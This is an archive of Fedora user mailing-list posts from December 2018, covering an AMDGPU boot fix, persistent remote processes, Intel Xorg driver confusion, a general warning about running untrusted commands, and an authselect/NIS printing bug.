Latest kernels
by jarmo 23 Dec '18

23 Dec '18

Fedora 29 XFCE4 wm, fresh install Latest 4.19.9 and 4.19.10 kernels, after update booted into blank screen, I thought, that it is, because of darkest time here, 5h20min daylight :) :). But found somewhere from net solution. I have laptop HP 15-bw021na, with AMD 4 core processor, AMDGPU. Had to add into linux cmdline AMDGPU.DC=0, after that booted OK. Now, something with these "new" kernels is going wrong? because with 4.19.5 kernel does not need amdgpu.dc=0 command. So, if someone counter same problem, this might help. Happy Holidays Jarmo

background process
by Patrick Dupre 22 Dec '18

Hello, I would like to run a process on a remote machine (login through ssh and then su) which will remian running even when I close the connection. I am not sure that a standard background process (using &) is not going to kill the process when I logout. Thank. =========================================================================== Patrick DUPRÉ | | email: pdupre(a)gmx.com Laboratoire de Physico-Chimie de l'Atmosphère | | Université du Littoral-Côte d'Opale | | ===========================================================================

Does Fedora 29 use modesettting by default or does it use the xorg intel driver? As you can see I am slightly confused by everything I've read on xorg and how it handles Intel video. I know when I put an xorg.conf file in /etc/X11, X refused to start and I was left with a blank screen. I since discovered that disabling composting in the Mate window manager stops the xorg log spamming. I don't understand that connection. Thanks

Hi, The article that have spoken about Linux malicious commands that was posted in Ubuntu Forums was restored, but who accessed this link yesterday and this morning saw that this article has been deleted.

Please be cautious when a command is suggested or if directed to download script/s as a solution to a problem. When in doubt as to the safety of the procedure, it's always a good idea to wait for more opinions, and/or have the command explained and verify if the explanation makes sense by consulting readily available documentation on Linux commands (such as manpages). If you have any doubts about the content of a command or script, report the post/thread and forum staff will investigate. Please take care when posting commands or scripts to assist other users. Post only well known, documented and current commands appropriate for the operating system in use, or scripts from reputable sources. If you do post commands in order to help someone but which have the potential to be dangerous, always make sure you warn possible users of the dangers, not just to the user you are helping, but others who may come across the post later.

F29: authselect with nis losing mdns4_minimal [NOTFOUND=return], breaks printing
by Terry Barnaby 21 Dec '18

21 Dec '18

Having updated to F29 from F27 (which seems to be generally working well :) ), I have one issue with our systems due to the new authselect system. When I enable the nis (YP) system for logins the /etc/nsswitch.conf file loses the "mdns4_minimal [NOTFOUND=return]" for hosts searches. One result of this is that when you try and add a printer (at least using KDE/PLASMA), and the printer is discovered using DNS_SD, then at the final adding stage the printer is not actually added (does not appear in the list of printers etc). There are no error messages to the user (always a bad failing of Fedora/Linux/MsWindows in general), but looking under the hood it is due to part of the CUPS system not being able to resolve the <hostname>.local network host address as mdns4_minimal is not being used. I have been setting up nis using: "authconfig --enablenis --nisdomain=<domain> --nisserver=<server> --update". This appears to call authselect as: "authselect select nis with-fingerprint with-silent-lastlog --force" So should I be using a different, direct, authselect command to fix this, or is it a bug in the authselect system ?
